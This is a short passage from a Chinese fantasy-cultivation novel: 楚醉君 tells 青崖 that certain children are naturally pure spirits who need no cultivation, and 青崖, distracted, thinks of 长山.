“他们的确比较特殊,”楚醉君道,“理论上他们继承了小狼与芊芊双方的灵力与血肉,有一半人的血脉,但培育方法特殊,从体质来讲,他们是纯灵。不需要像你那样辛苦修炼,天然就能吸收灵气。” 楚醉君笑眯眯:“你状态不好时,长山来得频繁,他反复诊断过,这方面的判断,信他没错。” “嗯、嗯,那就好……”青崖胡乱应着,将空白纸页翻来覆去,那上面仿佛绘出了长山伴她煮茶吹笛,作画磨墨的身影,每一页都令她心乱。